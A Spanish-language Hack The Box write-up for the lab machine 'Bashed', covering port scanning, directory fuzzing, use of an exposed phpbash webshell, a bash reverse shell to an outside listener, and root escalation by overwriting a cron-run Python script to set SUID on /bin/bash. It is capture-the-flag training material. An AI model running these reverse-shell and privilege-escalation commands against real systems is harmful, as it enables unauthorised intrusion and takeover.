Bashed
Hack The Box — Writeup
Bashed
| IP: | 10.129.18.108 |
| OS: | Linux |
| Dificultad: | Easy |
| Fecha: | 5 de julio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts
# Output
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
Se realizó el escaneo con la herramienta nmap, en el cual se encontró como único puerto abierto el puerto 80 (HTTP), constituyendo el único vector de ataque disponible.
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)
Hipótesis: Dada la coincidencia en la versión de Apache (2.4.18) observada previamente en otra máquina, se sospechó nuevamente del CVE-2018-1312. Se verificó si la página contaba con algún sistema de login, no encontrándose ninguno.

Identificación de phpbash
Al explorar la página principal, se identificó un enlace hacia un
archivo llamativo denominado phpbash.php. phpbash es una webshell
interactiva en PHP que simula una terminal completa accesible desde el
navegador, permitiendo ejecutar comandos directamente en el servidor.

Enumeración con Ffuf
Se procedió a realizar fuzzing de directorios para mapear la estructura completa del sitio.
# Comando
ffuf -u http://10.129.18.108/FUZZ -w /usr/share/seclists/
Discovery/Web-Content/common.txt
# Output
.htaccess [Status: 403, Size: 297, Words: 22]
.htpasswd [Status: 403, Size: 297, Words: 22]
.hta [Status: 403, Size: 292, Words: 22]
css [Status: 301, Size: 312, Words: 20]
dev [Status: 301, Size: 312, Words: 20]
fonts [Status: 301, Size: 314, Words: 20]
images [Status: 301, Size: 315, Words: 20]
index.html [Status: 200, Size: 7743, Words: 2956]
js [Status: 301, Size: 311, Words: 20]
php [Status: 301, Size: 312, Words: 20]
server-status [Status: 403, Size: 301, Words: 22]
uploads [Status: 301, Size: 316, Words: 20]
Se identificaron múltiples directorios. El directorio uploads llamó
particularmente la atención por su naturaleza potencialmente explotable.
# Comando
ffuf -u http://bashed.htb/uploads/FUZZ -w /usr/share/seclists/
Discovery/Web-Content/common.txt
# Output
.htaccess [Status: 403, Size: 305, Words: 22]
.htpasswd [Status: 403, Size: 305, Words: 22]
.hta [Status: 403, Size: 300, Words: 22]
index.html [Status: 200, Size: 14, Words: 1]
Resultado: No se encontró información de valor dentro de este directorio.
Enumeración con Feroxbuster
Se cambió de herramienta hacia Feroxbuster para realizar un listado más exhaustivo del sitio, localizando nuevamente el archivo identificado previamente en la interfaz web.
# Comando
feroxbuster -u http://10.129.18.108/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt
# Output
200 GET 216l 489w 8151c http://10.129.18.108/dev/phpbash.php
Explotación
Acceso mediante phpbash
Tras confirmar la ruta del archivo, se accedió directamente desde el navegador.

Esto confirmó la disponibilidad de una terminal interactiva en el servidor. Se procedió a identificar el usuario y directorio actual.

Enumeración de permisos sudo
www-data@bashed:/var/www/html/dev# sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
Observación: El usuario www-data puede ejecutar cualquier comando
como el usuario scriptmanager, sin necesidad de contraseña. Se planteó
convertirse en scriptmanager como primer paso hacia la escalada de
privilegios final.
Obtención de reverse shell y cambio de usuario
Se intentó utilizar el comando sudo -u scriptmanager directamente
desde la terminal web de phpbash, sin embargo dicha interfaz resultó
demasiado limitada para un manejo cómodo de la sesión. Se decidió
obtener una shell reversa completa.
# Comando
bash -c "bash -i >& /dev/tcp/10.10.15.163/4444 0>&1"
# Resultado
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.18.108 38604
bash: cannot set terminal process group (877): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager bash
whoami
scriptmanager
Resultado: Se obtuvo acceso como el usuario scriptmanager
exitosamente.
Estabilización de la sesión
Al intentar ejecutar sudo -l como scriptmanager, se obtuvo un error
relacionado con la ausencia de una TTY adecuada, por lo que se procedió
a estabilizar la sesión.
sudo -l
sudo: no tty present and no askpass program specified
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Escalada de Privilegios
Intento fallido — sudo -l como scriptmanager
Hipótesis: Tras estabilizar la sesión, se intentó nuevamente
verificar los permisos sudo del usuario scriptmanager.
sudo -l
[sudo] password for scriptmanager:
Sorry, try again.
[sudo] password for scriptmanager:
Sorry, try again.
sudo: 3 incorrect password attempts
Resultado: No se contaba con la contraseña del usuario, por lo que se descartó esta vía y se procedió a buscar vectores alternativos.
Enumeración de directorios escribibles
find / -writable -type d 2>/dev/null
/scripts
/home/scriptmanager
/home/scriptmanager/.nano
/var/www/html/uploads
/var/tmp
/var/lib/php/sessions
/tmp
/dev/shm
Observación: El directorio /scripts resultó particularmente
interesante al estar fuera de las rutas habituales de directorios
temporales del sistema.
crontab -l
no crontab for scriptmanager
Observación adicional: Aunque no se identificó un crontab propio del
usuario, la presencia de /scripts sugirió la posible ejecución de
tareas programadas a nivel de sistema (crontab de root).
Análisis del directorio /scripts
ls -la /scripts
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Jun 23 00:36 test.txt
cat /scripts/*
f = open("test.txt", "w")
f.write("testing 123!")
f.close
testing 123!
Observación clave: El archivo test.txt pertenece a root y su
timestamp se actualizaba recientemente, lo que indicaba que un proceso
de root ejecutaba test.py de forma periódica. Dado que test.py era
propiedad de scriptmanager y contaba con permisos de escritura para
dicho usuario, se identificó como el vector de escalada.
Investigación previa a la explotación
Dificultad encontrada: En este punto se presentó la mayor
complicación de toda la máquina. Se carecía de conocimiento previo sobre
cómo escribir correctamente código Python para lograr la ejecución de
comandos del sistema operativo desde dicho lenguaje, lo cual requirió
investigación adicional sobre el módulo os y su función system().
Explotación
Se sobrescribió el contenido de test.py con un payload que otorgara el
bit SUID al binario de bash.
echo 'import os
os.system("chmod +s /bin/bash")' > /scripts/test.py
Tras esperar a que el proceso de root ejecutara nuevamente el script
de forma automática, se verificó el estado del binario /bin/bash.
ls -la /bin/bash
-rwsr-sr-x 1 root root 1037528 Jun 24 2016 /bin/bash
Resultado: El bit SUID fue otorgado exitosamente. Se ejecutó el
binario con la opción -p para preservar los privilegios heredados.
/bin/bash -p
whoami
root
Resultado: Se obtuvo una shell con privilegios de root,
confirmando la escalada de privilegios exitosa.